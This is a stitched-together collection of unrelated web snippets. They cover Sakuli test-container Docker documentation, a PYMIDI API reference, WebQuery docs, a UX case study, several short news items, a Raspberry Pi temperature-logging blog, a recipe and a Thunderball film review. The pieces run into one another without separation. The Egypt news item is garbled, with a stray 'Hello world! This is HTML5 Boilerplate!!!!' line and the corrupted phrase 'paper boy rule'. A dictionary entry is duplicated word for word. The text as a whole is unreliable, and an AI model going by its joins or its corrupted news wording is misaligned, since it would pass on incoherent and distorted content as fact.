and passes them on to the core Megatron app.The
Interpreter
sets up any custom URLs a platform may need. As an example, the SlackInterpreter
provides the URL you set up for slash commands for your Megatron Slack app.
- Command
A request made to Megatron once it has been converted by an
Interpreter
. A command isPlatform
-agnostic. Often, but not always, the end result of aCommand
is to make a request via aConnection
This is the core logical unit that Megatron uses internally.
- Connection
The outgoing API to a
Platform
. Controls messages sent to the platform and changes them into an actionable shape. The core interface is called aBotConnection
.


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TLDR
A new application for strategic resource planning was needed for BYU
Initial research and user interviews were conducted
Requirements were gathered and consulted with the engineering team
Low-fidelity prototypes were created, tested, modified, and approved in an agile workflow
High-fidelity prototypes were created, tested, approved, and passed to engineers in an agile workflow
Project is still ongoing and in the final stages of user testing and modifying in a development environment
The Project
Every Unit and College at BYU submits a strategic annual plan and requests resources to meet their goals and needs. This process has been done manually for many years in excel spreadsheets and word documents. Our team was tasked with creating a new application for strategic resource planning where all the data needed to create, review, and report on annual plans and resource requests could be accomplished in one application with different user roles, privileges, and tasks.
My services were offered as the UX/UI designer on the agile team. I followed our UX process: research, analyze, UX design, UI design, develop & validate. I first identified the project stakeholders and user audience. I conducted stakeholder interviews and user interviews to gain valuable insights into the current process of resource planning. I learned what works, what doesn’t, what each user audience needed (front-end users, admins, etc.). I gathered user requirements and data on what would help the users better accomplish the tasks required of them. Working with the project partners, we prioritized user requirements in order to gain a realistic scope and timeline for the project.
After gathering requirements and having a solid understanding of what the new application would need to be successful, I consulted with our engineering team about the feasibility of the proposed project, requirements, and user needs.
From that point on our team worked in an agile workflow. I developed low-fidelity prototypes to test user interface and user experience ideas to meet the requirements of the users. I tested those prototypes with users and stakeholders in weekly, incremental meetings. Our engineering team was consulted to make sure that any new idea was feasible and within the scope and timeline to develop. Our partners would approve user experience low-fidelity concepts and user flows. Low-fidelity prototypes turned into high-fidelity prototypes. Those prototypes were tested with users and adjusted as needed. Final versions of the application prototypes were created, approved, and specifications were sent to the engineering team. This process of prototype high-fidelity, test, adjust, approve, and pass to engineers was done in an agile process over many weeks. Each week, a new portion of the prototype was developed into a live, dynamic application testing environment.
This project is still ongoing and is in the final stages of user testing in the application development environment and adjusting as needed based on user feedback and testing.
Because this project is ongoing and proprietary, I am unable to provide access to the full prototype or testing application. Below is a gallery of screenshots of some of the application screens/mockups. You can click each thumbnail to view a larger image. If you would like to see more, I can make a request. Thank you for understanding.


This image is ready to go and ships with already installed:
docker pull taconsol/sakuli:<IMAGE_TAG>
Tech previews of Sakuli containers are published as latest
.
We highly recommend specifying the exact version of Sakuli for productive tests/checks.
Containers are tagged according to Sakuli versions, so in order to use Sakuli v2.4.0-1 in a test, one would pull the following image:
docker pull taconsol/sakuli:2.1.2
You can find a list of available tags on Dockerhub
Docker allows to pass parameters when starting a new container:
docker run \
--rm \
-p 5901:5901 \
-p 6901:6901 \
[--shm-size=2G] \
taconsol/sakuli:2.4.0-1
Parameters:
invalid session id
errors due to crashed browsers.Sakuli Test Containers run as non-root user, the default UID is 1000.
In general, the structure of a containerized Sakuli test does not differ from any other Sakuli test. No changes are required when executing a test inside a container. The only configuration we have to provide, is information about how and which suite should be executed.
The default behaviour of a Sakuli Test Container is to run npm test
to execute a test suite,
so to run a custom test we have to:
npm test
within the test suite or projectThere are various ways to provide test sources to a container:
When running a Docker container it is possible to mount a file or directory on the Docker host into a container. This mechanism can be used to provide a Sakuli projects to a Sakuli container:
docker run \
-v /path/to/test/project/on/host:/sakuli_project \
taconsol/sakuli:2.4.0-1 /bin/bash
By adding the -v parameter we’re mounting the root folder of a Sakuli project at /path/to/test/project/on/host
on our host machine to /sakuli_project
inside the container.
We are now able to execute a test suite inside the container via sakuli run /sakuli_project/test_suite_folder
.
Bind mounts are easy to use and very useful during development.
For further information, please refer to the Docker documentation on bind mounts
Instead of starting the test suite manually via /bin/bash
, you could use the default entry point of the container.
To be able to do so, you have to specify the environment variable SAKULI_TEST_SUITE
containing the path of the test suite to execute inside the container.
docker run \
-v /path/to/test/project/on/host:/sakuli_project \
-e SAKULI_TEST_SUITE=/sakuli_project/test_suite_folder \
taconsol/sakuli:2.4.0-1
Once you have a test suite which should be put into work. Binding mounts might become cumbersome and makes it hard to reproduce certain state of the test project, suite or case. To ensure a reproducible environment, it would be feasible to build an explicit Docker image for test execution.
We can do so by creating our own Dockerfile next to our project directory:
FROM taconsol/sakuli:2.4.0-1
ADD . \$HOME/sakuli_project
ENV SAKULI_TEST_SUITE \$HOME/sakuli_project/testsuite-a
Using this Dockerfile, we can now build our own test image by running the following command where the dockerfile is located:
docker build -t name-of-my-image .
We can now run the newly built image via:
docker run name-of-my-image
When working with added files and folders inside a container, one has to ensure correct file permissions for added files.
Available from v2.4.0
The Sakuli container provides a mechanism to clone a git repository containing a sakuli project at container start and subsequently executing a testsuite within it:
docker run -e GIT_URL=<REPOSITORY URL> -e GIT_CONTEXT_DIR=<RELATIVE PATH TO TESTSUITE> taconsol/sakuli:2.4.0-1
GIT_URL
specifies the URL of the repository to be cloned. To access a private repository, please ensure, your git service provides the possibility to authenticate via URL parameters.
This is possible with common git services like GitHub, Gitlab and Bitbucket.
To authenticate with a token on GitHub, use<EMAIL_ADDRESS>.
GIT_CONTEXT_DIR
is necessary to specify the path to the sakuli test suite inside the cloned repository.
npm test
The main configuration file of a npm project is its package.json
file.
Within this file it’s possible to configure npm-scripts, a handy way to execute scripts inside an npm project.
An empty project initialised via npm init
already contains one script: npm test
...
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
...
npm test
is the default way of executing tests in a npm project, so Sakuli tests should be executed this way, too!
Since Sakuli is available in the container, we can run our test by simply calling sakuli run ...
on npm test
.
As your test suites are located within the same folder as our package.json
, so a test suite can be run via:
...
"scripts": {
"test": "sakuli run /path/to/your/test/suite"
},
...
Reusing the package.json on project level comes with one limitation: You have only one “test” script available. If you decide to put multiple test suites into one project, we recommend putting a package.json on suite level as well.
{
"name": "test-suite",
"version": "1.0.0",
"scripts": {
"test": "sakuli run ."
}
}
Please notice that this is just suitable if you plan to execute the suite in the container.
This topic covers possible errors when running containerized Sakuli tests.
(Available from v2.5.0)
In case your test project requires additional dependencies, it’s possible to run npm install
before executing the Sakuli test.
...
"scripts": {
"test": "npm i && sakuli run /path/to/your/test/suite"
},
...
The Container supports package installation, configurable via the environment variable
INSTALL_PACKAGES=true
. This will install all packages defined in your package.json
at container startup.
Note: Package versions installed inside the container will be overwritten by the version defined in the
package.json
.
This might cause unexpected behavior, if overwriting e.g. Sakuli itself(@sakuli/cli)
or forwarders. By installing third-party packages, the functionality of the packages and Sakuli itself can be impaired.
Sakuli test containers allow to configure specific details of their runtime environment.
Sakuli containers provide access to running containers via VNC on ports 5901 and 6901. By specifying port forwarding (-p) it is possible to configure which ports will be used to connect to a running container on the host system.
docker run --rm -p 5901:5901 -p 6901:6901 taconsol/sakuli:2.4.0-1
The example above forwards container ports 5901 and 6901 to the same ports on the host system.
docker run --rm -p 5000:5901 -p 6000:6901 taconsol/sakuli:2.4.0-1
In this example container port 5901 is forwarded to port 5000 on the host system, port 6901 is forwarded to port 6000 on the host system.
localhost:5000
would be used to connect to the container via VNC client, on localhost:6000
a webVNC view is available in the browser.
The default password to access a container via VNC is
vncpassword
. It is highly recommended changing this password in production environments. See section #5.2 for details.
The following VNC environment variables can be overwritten at the docker run phase to customize your desktop environment inside the container:
VNC_COL_DEPTH, default: 24 // Color depth
VNC_RESOLUTION, default: 1280x1024 // Screen resolution
VNC_PW, default: vncpassword // VNC password
VNC_VIEW_ONLY, default: false // Run in view only mode, no keyboard / mouse interaction possible
For example, the password for VNC could be set like this:
~\$ docker run -p 5901:5901 -p 6901:6901 -e VNC_PW=my-new-password taconsol/sakuli:2.4.0-1
Per default all container processes will be executed with user id 1000.
Using root (user id 0): Add the --user flag to your docker run command:
~\$ docker run -it -p 5901:5901 -p 6901:6901 --user 0 taconsol/sakuli:2.4.0-1
Using user and group id of host system Add the --user flag to your docker run command:
~$ docker run -it -p 5901:5901 -p 6901:6901 --user $(id -u):\$(id -g) taconsol/sakuli:2.4.0-1
Internal infrastructure often uses custom certificates with own root CAs etc.
Things like untrusted certificates cause Sakuli tests to fail, since no connection to a seemingly insecure host will be established (InsecureCertificateError
).
Unfortunately, browsers use their own certificate store, which requires some additional work to add custom certificates.
In order to add custom certificates to a Sakuli container, one has to provide two things:
SAKULI_TRUSTED_CERT_DIR
which holds the path to the directory where certificates for import are located inside the containerIf the environment variable has been set, a startup script will pick up all certificates contained in the given folder
and import each of them to all available browser certificate stores within $HOME
, supporting both cert8.db
databases
for older browser versions as well as cert9.db
files for recent browser versions.
~$ docker run -v /path/to/certificates/:/certificate_import -e SAKULI_TRUSTED_CERT_DIR=/certificate_import/ taconsol/sakuli:2.4.0-1
By default, a Firefox test uses a new, blank profile for each test suite execution. In order to pick up the added certificates,
a Firefox profile containing the appropriate certificate database has to be specified via
selenium.firefox.profile=/path/to/profile/folder
in testsuite.properties
. In order to make this process easier, a
dedicated Firefox profile for use with certificates is located at /headless/firefox-certificates
to be used, instead
of the generated profiles in /headless/.mozilla/firefox/long_random_id.default
.
Attention: If this property is not set, added certificates will have no effect.
There are use cases that cannot be covered with the standard Linux based Sakuli container e.g. testing software that is
only available for Microsoft Windows or automating processes in SAP. If you still want to leverage the flexibility and
scalability of a container based Sakuli execution, we provide the sakuli-remote-connection
container. This image
ships with a remmina installation to connect to a remote Windows machine using RDP.
To start remmina with a prepared configuration, please ensure to mount the required config file into the container using a volume or to create a base image with the configuration installed.
Sakuli check:
(async () => {
const remmina = new Application(`remmina --connect <path/to/remmina/config.rdp>`);
try {
await remmina.open();
await env.sleep(2); //wait for remmina to open
await env.type(Key.TAB)
.type(Key.TAB)
.type(Key.ENTER); //accept certificate
await env.paste("<Username>")
.type(Key.TAB)
.pasteAndDecrypt("<encryptedPassword>")
.type(Key.TAB)
.paste("<Domain>")
.type(Key.TAB)
.type(Key.TAB)
.type(Key.ENTER); //login to windows host
// perform actions on host
await remmina.close();
} catch (e) {
await testCase.handleException(e);
} finally {
await testCase.saveResult();
}
})();
Sample config.rdp
:
screen mode id:i:2
session bpp:i:64
compression:i:1
keyboardhook:i:2
displayconnectionbar:i:1
disable wallpaper:i:1
disable full window drag:i:1
allow desktop composition:i:0
allow font smoothing:i:0
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:<IP_ADDRESS>
audiomode:i:2
microphone:i:0
redirectprinters:i:0
redirectsmartcard:i:0
redirectcomports:i:0
redirectsmartcards:i:0
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:0
prompt for credentials:i:1
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
precommand:s:
promptcredentialonce:i:1
drivestoredirect:s:
To execute test actions on the RDP host, we recommend to use keyboard shortcuts instead of image recognition to increase stability. In case you want to use Sakuli browser interaction in your check, it is required to install a Selenium Server on the Windows host and configure Sakuli to connect the browser functionality with the Selenium Server.
| Environment Variable | Default Value | Description |
|---|---|---|
| SAKULI_TEST_SUITE | Path to Sakuli testsuite to be executed | |
| VNC_COL_DEPTH | 24 | Color depth of container monitor |
| VNC_RESOLUTION | 1280x1024 | Screen resolution of container |
| VNC_PW | vncpassword | Password to access NoVNC/VNC connection |
| VNC_VIEW_ONLY | false | Enable/Disable view-only mode |
| SAKULI_TRUSTED_CERT_DIR | Directory containing custom certificates for import | |
| GIT_URL | URL of git repository | |
| GIT_CONTEXT_DIR | Path to Sakuli testsuite within the git repository | |
| DEBUG | false | Enables debug mode for container startup |
| INSTALL_PACKAGES | false | Installs packages defined in the package.json at container startup (Available from v2.5.0) |
| LANGUAGE | en_US:en | Changes Language for Chrome (available values: en_US:en, de_DE:de) (System variable of Ubuntu) (available in tech preview) |
| LC_ALL | en_US.UTF-8 | Changes Language for Firefox (available values: en_US.UTF-8, de_DE.utf-8) (System variable of Ubuntu) (available in tech preview) |


Ex-Las Vegas officer accused of soliciting child for prostitution
by Rio LacanlaleA retired Las Vegas police officer has been charged with soliciting a child for prostitution, the Las Vegas Review-Journal has learned.
Kirk Reed Hooten, 51, was booked Thursday into the Clark County Detention Center but was free on $10,000 bond as of Friday morning, according to jail and court records.
Metropolitan Police Department employment records show that Hooten joined the department in February 1994.
Attempts to reach Hooten for comment Friday morning were unsuccessful, and a message left with Metro’s public information office was not immediately returned.
Steve Grammas, president of the Las Vegas Police Protective Association, said Friday that because Hooten retired in 2018, the police union would not offer him any legal support or representation in his case.
As recently as May 2018, Hooten served as director of the association’s executive board, according to the union’s website.
Hooten is expected in Las Vegas Justice Court on Monday morning for a status hearing, court records show.
This is a developing story. Check back for updates.


Costa Coffee reveals when it will open new Derby branch
Good news for coffee lovers
by Ben LyonsA new Costa Coffee store will open soon in a Derby suburb.
The chain has announced a new branch will open early next year at Park Farm Shopping Centre, in Allestree.
The branch will be located in the former Royal Bank of Scotland building which closed around a year ago and has remained vacant since.
A Costa Coffee spokeswoman said: “We’re delighted to confirm the opening of a brand new Costa Coffee store at Park Farm Shopping Centre in Allestree, Derby - coming early next year.
"We are looking forward to being an active part of the local community, getting involved with events and serving customers our delicious signature, handcrafted coffees.”
Costa already has Derby branches at Intu Derby, Meteor Centre, The Wyvern and Kingsway Retail Park.
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- Inherits from:
- NSObject
- Conforms to:
- NSCoding
- NSObject (NSObject)
- Declared in:
- PYMIDI/PYMIDIEndpoint.h
This is an abstract class which provides a common interface for the concrete classes PYMIDIRealSource, PYMIDIRealDestination, PYMIDIVirtualSource, and PYMIDIVirtualDestination.
Methods are provided for querying and setting the status of the endpoint as well as sending and receiving MIDI data.
 The receiver is expected to have a method of the form:
- (void)processMIDIPacketList:(MIDIPacketList*)myPacketList sender:(id)sender
This method should only be called on endpoints that supply MIDI data, i.e. real sources and virtual destinations.
Note that eceivers added with this method are not retained by the endpoint.
See Also: - removeReceiver:, - isInUse
- (void)addSender:(id)sender
Adds the given object as a sender of MIDI data to this endpoint. The sender can then call the processMIDIPacketList:sender: method of the endpoint to transmit data.
This method should only be called on endpoints that send MIDI data, i.e. real destinations and virtual sources.
Note that senders added with this method are not retained by the endpoint.
See Also: - processMIDIPacketList:sender:, - removeSender:, - isInUse
- (NSComparisonResult)compareByDisplayName:(PYMIDIEndpoint*)endpoint
Compares this endpoint's display name with that of the passed in endpoint and returns the appropriate result.
See Also: - displayName
- (PYMIDIEndpointDescriptor*)descriptor
Returns a PYMIDIEndpointDescriptor that uniquely identifies this endpoint.
- (NSString*)displayName
Returns the name of the endpoint as it should be displayed to the user. In particular, this recognises external devices configured in Audio MIDI Setup and displays their names as appropriate.
The string "(offline)" will be appended to the display name of an endpoint with a device that is currently disconnected.
See Also: - name, - setName:, - compareByDisplayName:
- (BOOL)isInUse
Returns YES if there are any senders or receivers registered on this endpoint.
See Also: - addReceiver:, - addSender:, - removeReceiver:, - removeSender:
- (BOOL)isIACBus
Returns YES if the endpoint is part of an IAC Bus.
- (BOOL)isInUse
Returns YES if the endpoint is being used by your app; that is, if their are any registered senders or receivers on this endpoint.
- (BOOL)isOffline
Returns YES if the device with which this endpoint is associated is currently not connected.
This is equivalent to ![endpoint isOnline]
.
See Also: - isOnline
- (BOOL)isOnline
Returns YES if the device with which this endpoint is associated is currently connected.
See Also: - isOffline
- (BOOL)isOnlineOrInUse
Returns YES if the endpoint is online or is in use. This is
equivalent to [endpoint isOnline] || [endpoint isInUse]
.
See Also: - isOnline, - isInUse
- (MIDIEndpointRef)midiEndpointRef
Returns the underlying CoreMIDI MIDIEndpointRef for this endpoint if there is one, nil otherwise.
- (NSString*)name
Returns the name of the endpoint, which usually consists of the name of the MIDI device followed by a port description.
For a name to display to the user, use the displayName method.
Note that this is not the same as the kMIDIPropertyName of the underlying CoreMIDI endpoint, but is a more useful value by which to reference the endpoint.
See Also: - displayName, - setName:
- (void)processMIDIPacketList:(const MIDIPacketList*)packetList
sender:(id)sender
Attempts to send the given MIDI data via this endpoint.
Note that you should call addSender: to register yourself as a sender before calling this method.
See Also: - addSender:
- (void)removeReceiver:(id)receiver
Removes the given receiver from the endpoint.
See Also: - addReceiver:
- (void)removeSender:(id)sender
Removes the given sender from the endpoint.
See Also: - processMIDIPacketList:sender:, - addSender:
- (BOOL)setName:(NSString*)name
Sets the name of the given endpoint. This should only be used on virtual endpoints.
See Also: - name
- (BOOL)setUniqueID:(SInt32)uniqueID
Sets the CoreMIDI unique ID of the endpoint. Strictly speaking this shouldn't be possible, but older versions of OS X allow it.
See Also: - uniqueID
- (SInt32)uniqueID
Returns the CoreMIDI unique ID of this endpoint.
See Also: - setUniqueID:


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This simple plugin checks if there already is an element with the class "slide-number" in the presentation. If so, it moves the slidenumber there.
Create an empty element with class "slide-number" in your document. For example, in a menubar like above.
Now you can style it and make it fit in your content. For example, give it a relative position.
For the menu you might use my Simplemenu plugin.
If you load Simplemenu before RelativeNumber, page numbers will also be exported correctly as PDF when using the Reveal.js ?print-pdf
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1. [common] New computer hardware, unadorned with such snares and
delusions as an `*operating system* <../O/operating-system.html>`__, an
`*HLL* <../H/HLL.html>`__, or even assembler. Commonly used in the
phrase programming on the bare metal, which refers to the arduous work
of `*bit bashing* `__ needed to create these basic
tools for a new machine. Real bare-metal programming involves things
like building boot proms and BIOS chips, implementing basic monitors
used to test device drivers, and writing the assemblers that will be
used to write the compiler back ends that will give the new machine a
real development environment.
2. “Programming on the bare metal” is also used to describe a style of
`*hand-hacking* <../H/hand-hacking.html>`__ that relies on bit-level
peculiarities of a particular hardware design, esp. tricks for speed and
space optimization that rely on crocks such as overlapping instructions
(or, as in the famous case described in `The Story of
Mel' <../story-of-mel.html>`__ (in Appendix A), interleaving of opcodes
on a magnetic drum to minimize fetch delays due to the device's
rotational latency). This sort of thing has become rare as the relative
costs of programming time and machine resources have changed, but is
still found in heavily constrained environments such as industrial
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"CHALCEDONY" Mentioned only in Revelation 21:19, as one of the precious stones in the foundation of the New Jerusalem. The name of this stone is derived from Chalcedon, where it is said to have been first discovered. In modern mineralogy this is the name of an agate-like quartz of a bluish colour. Pliny so names the Indian ruby. The mineral intended in Revelation is probably the Hebrew nophekh, translated “emerald” (Exodus 28:18; 39:11; Ezekiel 27:16; 28:13). It is rendered “anthrax” in the LXX., and “carbunculus” in the Vulgate. (See CARBUNCLE.)
"CHALCEDONY" Mentioned only in Revelation 21:19, as one of the precious stones in the foundation of the New Jerusalem. The name of this stone is derived from Chalcedon, where it is said to have been first discovered. In modern mineralogy this is the name of an agate-like quartz of a bluish colour. Pliny so names the Indian ruby. The mineral intended in Revelation is probably the Hebrew nophekh, translated “emerald” (Exodus 28:18; 39:11; Ezekiel 27:16; 28:13). It is rendered “anthrax” in the LXX., and “carbunculus” in the Vulgate. (See CARBUNCLE.)


Summon the old gods with this free eldritch clicking game
by Tom SykesThe next time you run into a cult bringing about the return of the old gods, spare a thought for their tireless, tireless toiling. Thanks to Click of Cthulhu, we now know exactly how this process is exacted—and there's a whole lot of clicking involved.
So, Click of Cthulhu is an idle game: you click on a resource to acquire it, again and again and again, before eventually automating the process via upgrades. The difference here is that there's also a city-building element: in order to utilise more Deep Ones (basically, your demonic population) you have to expand your unholy realm by building roads and houses, before constructing mines and other structures for them to labour in. Ultimately, you're aiming to build a magic key to unlock the Gates of R'lyeh, but before that, there's clicking to be done.
City-building and endlessly clicking on stuff is a combination that works well, as there's a lot of overlap between the two genres. And I love how open Click of Cthulhu is with its theme: there's no A Dark Room-style mystery, really no messing about at all here: you're simply trying to raise an old one, now get on with it.
You're probably sick of all things Lovecraft by now, but here's a simple, effective timewaster that does something fresh with Cthulhu and its cosmic mates.
For more great free experiences, check out our roundup of the best free PC games.


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I ordered a couple of gadget for my pi a while ago, and they finally came in the mail ( only had to wait 2 months!) Anyways, I ordered a water-proof digital temperature sensor (DS18B20) and a ultrasonic range finder (HC-SR04) to play around with.
So firstly I wanted to get the temperature sensor going. I followed the adafruit tutorial, just to hook the temp sensor to the pi (https://learn.adafruit.com/adafruits-raspberry-pi-lesson-11-ds18b20-temperature-sensing/hardware)
Once it was physically connected, lets check if it works
There should be a listing under there that’s a whole bunch of numbers and letters (the devices ID). In my case it’s
28-0000056e9afb. cd into this folder and cat the file called w1_slave
You should get output like so:
The first like is the checksum, to make sure the device is working correctly, and the second line is the temperature, in degree’s celcius, and to 3 decimal places (13687 = 13.687C)
Now we know the temp sensor is working alright, we can make a nice python script to read it and log it. For this project, I used:
plot.ly. All you need to do it create a free account and your good to go!
weather underground You can create a free ‘dev’ account which gives you 500 API calls a day (This is what I use, the way I have set it up, it will only ever call 288 a day)
Bureau of Meteorology. I used this just so I could compare the temperature with wunderground
Both temperature gathering sites give out the data is JSON format, so it was easy enough to extract the data needed, and then pass it onto plot.ly.
Here’s two of my graphs:
https://plot.ly/~harrysibenaler/4 - this one uses wunderground’s temperature feed, and I’ve also added the temp of the CPU on the rpi
https://plot.ly/~harrysibenaler/5 - this uses BOM’s temperature feed
And here is the python script I used to do this! all you need to do is go through and add your API key for the various sites, and add your location (you may have to play around to find the correct location code for this one) I’ve also set it up to pull my plot.ly key and username out of a file called config.json. I did this because I have multiple scripts using it :)


WebQuery has a number of properties and messages which are intended to be public - those are documented here.
This is just the standard framework property controlling what is displayed as the title of the WebQuery UI panel - you can set it to whatever you like. The default is "WebQuery Definition".
This property should contain the Object ID of the object which controls session management for your web application, however even if you have customised the session management in your web app you should not need to modify this property setting because it defaults to the global variable ghoWebSessionManager which you will need to have popualated with whatever Object ID you have filling that role.
This property defines the function which WebQuery will call to discover whether the current session is for a logged-in user. If you have customised the session management within your web application to make this different from the standard, you can tell WebQuery about it by having a line in your web app after the "Use WebQuery.wo" line of the form:
Set phLoggedInFunc of oWebQuery to (RefFunc(YourFunctionName))
It defaults to IsLoggedIn.
Set phUserNameFunc of oWebQuery to (RefFunc(YourFunctionName))
It defaults to psLoginName.
This property determines where under your web app's AppHTML directory WebQuery will write its temporary HTML files prior to sending them to the browser for display to the user. It must point to a directory which is accessible to the web server. By default it is set to "WebQuery" and will thus cause a directory named "AppHTML/WebQuery" to be created when a report is first run.
The files written to this directory are deleted as soon as they are loaded in the web browser by a piece of JavaScript embedded in their HTML which makes a call back to the WebApp, so this directory should always be empty.
This mechanism also means that users cannot "reload" reports because as soon as they have seen them, the file on which they are based has already been deleted - they must run the query again to see the output again.
This property determines where saved queries will be written to on your web server. It should not be in a location accessible to the web server, but the web application should be able to read, write and create in it.
By default this is set to your application's home directory (the psHome property of the oApplication's phoWorkspace object) plus "WebQuery".
When a user first attempts to open or save a query, this directory will be created, along with two subdirectories: "Public" and one named for the user's login name. Other users will then have their own directories created within it as they use the open or save query features.
This property determines where downloads (in HTML, CSV, Text or XML format) will be written to. It should not be in a location accessible to the web server, but the web application should be able to read, write and create in it.
By default it is the same as psStoreDirectory above.
Files created in this directory will be sent to the user's browser as downloads through the CustomDownlLoadURL mechanism of the oWebResourceManager object. They will be deleted when the user clicks on the "Click when done" button displayed during download operations.
This property, which is false by default, determines whether "<" and ">" symbols in the report data will be replaced in the output with their respective "HTML entities": < and > (if false), or be output unchanged (if true).
Setting this to true will allow HTML embedded in the output to be sent intact to the browser, allowing such things as HTML links and images to appear in reports. See the sample report "Sales Person Pictures" for an example of this.
This property (which defaults to False) will control the initial checked state of the "Use SQL" checkbox on the Output tab. It will also control its state following a "Clear query" action (i.e. if the user clicks the "Clear query" button).
This message takes an integer argument which is the filelist file-number of a table to exclude from WebQuery so that the users never see it.
The preferred mechanism for using it is to place a line such as:
Send ExcludeTable of oWebQuery tablename.File_Number
In your WebApp.src below the "Use WebQuery.wo" line, however for most tables you will need to open them first, so write:
Open tablename Send ExcludeTable of oWebQuery tablename.File_Number
Alternative you can simply pass the integer file number of the table within filelist.cfg, but this mechanism will break if table numbers are changed.
Table whose "Description" (User Display Name) begins with an "@" character will always be excluded from WebQuery.
Note: Excluding tables will break any relational chains which pass through them, meaning that tables they relate to will not appear in the list of available tables if a child table of theirs is selected as the Main Table for a query
This message clears down WebQuery's list of excluded tables and can be used in conjunction with the above ExcludeTable message to dynamically hide and show tables depending on some factor(s) such as the access rights of the user.
This message takes two integer arguments which are the filelist file-number of a table and the number of a field within it to exclude from WebQuery so that the users never see it.
The preferred mechanism for using it is to place a line such as:
Send ExcludeField of oWebQuery File_Field tablename.fieldname
In your WebApp.src below the "Use WebQuery.wo" line, however for most tables you will need to open them first, so write:
Open tablename Send ExcludeField of oWebQuery File_Field tablename.fieldname
Alternative you can simply pass the integer file number of the table within filelist.cfg followed by the field number, but this mechanism will break if table numbers or field numbers are changed.
Fields whose name begins with an "@" character will always be excluded from WebQuery.
This message clears down WebQuery's list of excluded fields and can be used in conjunction with the above ExcludeField message to dynamically hide and show fields depending on some factor(s) such as the access rights of the user.
This function returns the path of the directory in which queries have been saved as "Public", which will be the same as:
(psOutputDirectory(oWebQuery) + "\Public")
Note: It does not guarantee that the directory actually exists yet.
This function returns the path of the directory in which queries by the currently logged-in user have been saved as private (i.e. under "My Queries"). This will be the same as:
(psOutputDirectory(oWebQuery) + "\User's Login Name")
If the user is not logged in it will return an empty string.
Note: It does not guarantee that the directory actually exists yet.
This message will cause WebQuery to load a saved query from file and immediately run it.
It can be used to place predefined reports onto the menus (see the sample reports provided under "Reports" menu in this program) or elsewhere in your web application.
It takes a single argument which should be the full path and name of a saved query, for example:
Send LoadAndRun of oWebQuery "C:\WebQueryReports\Some Report Name.wqr"
You can access queries which have been saved as "public" using the technique:
Send LoadAndRun of oWebQuery (PublicPath(oWebQuery(Self)) + "\Users List.wqr")


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As a Software Developper, i build robust Software in Web Technology using Nodejs,Express and Postgres for interaction with database side.Not only i build robust Web apps but also robust REST Api using Nodejs and Express.
Am Congolese, i was born in DRCongo precisely in Goma North Kivu, am 22 years old, I had start to code since 4 years ago at my university.So programming is a part of me. i do enjoy to spend my whole day tapping lines of code.


Just like your local Korean place makes it! It's delicious! Even better if rolled up in red leaf lettuce with rice and hot pepper paste. If you want to spice it up just add red pepper powder to your marinade.
Place the beef in a shallow dish.  Pour over beef. Cover and refrigerate for at least 1 hour or overnight.
Preheat an outdoor grill for high heat, and lightly oil the grate.
Quickly grill beef on hot grill until slightly charred and cooked through, 1 to 2 minutes per side.


Military Offers Assurances to Egypt and Neighbors
Published : )Hello world! This is HTML5 Boilerplate!!!!
CAIRO - As a new era dawned in Egypt on Saturday, the army leadership sought to reassure Egyptians and the world that it would shepherd a transition to the paper boy rule and honor international commitments like the peace treaty with Israel.
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THUNDERBALL A Film Review Copyright Dragan Antulov 2000
"Which Bond film is the best?" is a question commonly asked among filmophiles. There are different answers, but most of the Bond fans usually name one of the first five films of the franchise - Bond classics that made character of James Bond inseparable from the image of Sean Connery. Among those five films the most popular choice is GOLDFINGER, but judging by strictly commercial standards, the best Bond film was made a year later. THUNDERBALL, directed by Terence Young in 1965, was most profitable film in the history of the franchise. Eighteen years later, the same film was subjected to remake in the form of NEVER SAY NEVER AGAIN, but the reason had less to do with the general quality of the script and more with unsettled copyright issues. The original novel was co-authored by series' creator Ian Fleming and Kevin McClory, who later claimed copyright on the character. In 1965 producers and McClory were trying to co-operate, and McClory took part in the screenplay.
The plot begins with British secret agent James Bond (played by Sean Connery) recuperating in English health spa after another dangerous but successful mission. By accident, the spa is located near RAF base that hosts pilots from different NATO nations. One of them, Lieutenant Derval (played by Paul Stasino) gets involved in a hijack of Vulcan bomber that carries two nuclear bombs. This is the work of SPECTRE, global criminal organisation that blackmails British and US government, demanding huge amounts of money in exchange for safe return of the bombs; if SPECTRE doesn't get paid, the bombs would be detonated on UK and US mainland. Faced with unprecedented case of nuclear terrorism British secret service gathers all their top agents, including Bond, in order to locate the missing plane and possibly thwart SPECTRE plans. The only clue leads Bond to Bahamas where he meets pilot's young and beautiful sister Dominique (played by Claudine Auger), who is currently cruising Bahamas on the yacht owned by her "uncle" Emilio Largo (played by Adolfo Celi). Largo doesn't like this, because he happens to be top SPECTRE operative who had executed the operation. When Bond and his CIA colleague Felix Leiter (played by Rik Van Nutter) begin investigating, they would be faced with many of Largo's henchmen, including seductive but deadly female assassin Fiona Volpe (played by Gabriella Paluzzi).
THUNDERBALL was supposed to be the first Bond film, but aforementioned copyright problems caused producers to choose DR. NO instead. It turned out to be a good thing for THUNDERBALL - in 1965 success of previous three films guaranteed both the huge budgets and huge hype which led to record performance at the box- office. This success was justified, because THUNDERBALL fits all the high standards we might expect from a Bond classic - intelligent script, realistic characters, breath- taking stunts, spectacular action, exotic locations and even more exotic women - all that under superb direction and highest production values of its time. What was unfortunate for this film is the fact that it was made a year after GOLDFINGER. In most cases the unavoidable comparisons between the two usually favour former over latter. THUNDERBALL is already showing some weaknesses that would plague Bond series in decades to come.
The script by Richard Maibaum and John Hopkins is not one of those weaknesses. The motive of nuclear blackmail still retains down-to-earth realism of the first Bond movies and it is even more realistic in today's world, when more nations possess such weapons. The plot, despite a minor hole or two, works well. Characters, on the other hand, don't.Character of Bond was, naturally, unchanged; evolution of the role ceased and that meant that Connery can play him without contributing anything original. This was supposed to be compensated with other intriguing characters, but THUNDERBALL, at least partially, disappoints. Chief villain Emilio Largo is portrayed as intelligent, efficient yet menacing, which makes him superior to the laughable villains of later Bond films. Unfortunately, his character remains one- dimensional and talents of great Italian actor Adolfo Celi seem wasted (for the author of this review additional problem is in the fact that he remembers Celi as much superior villain in SANDOKAN and mini-series BORGIAS).
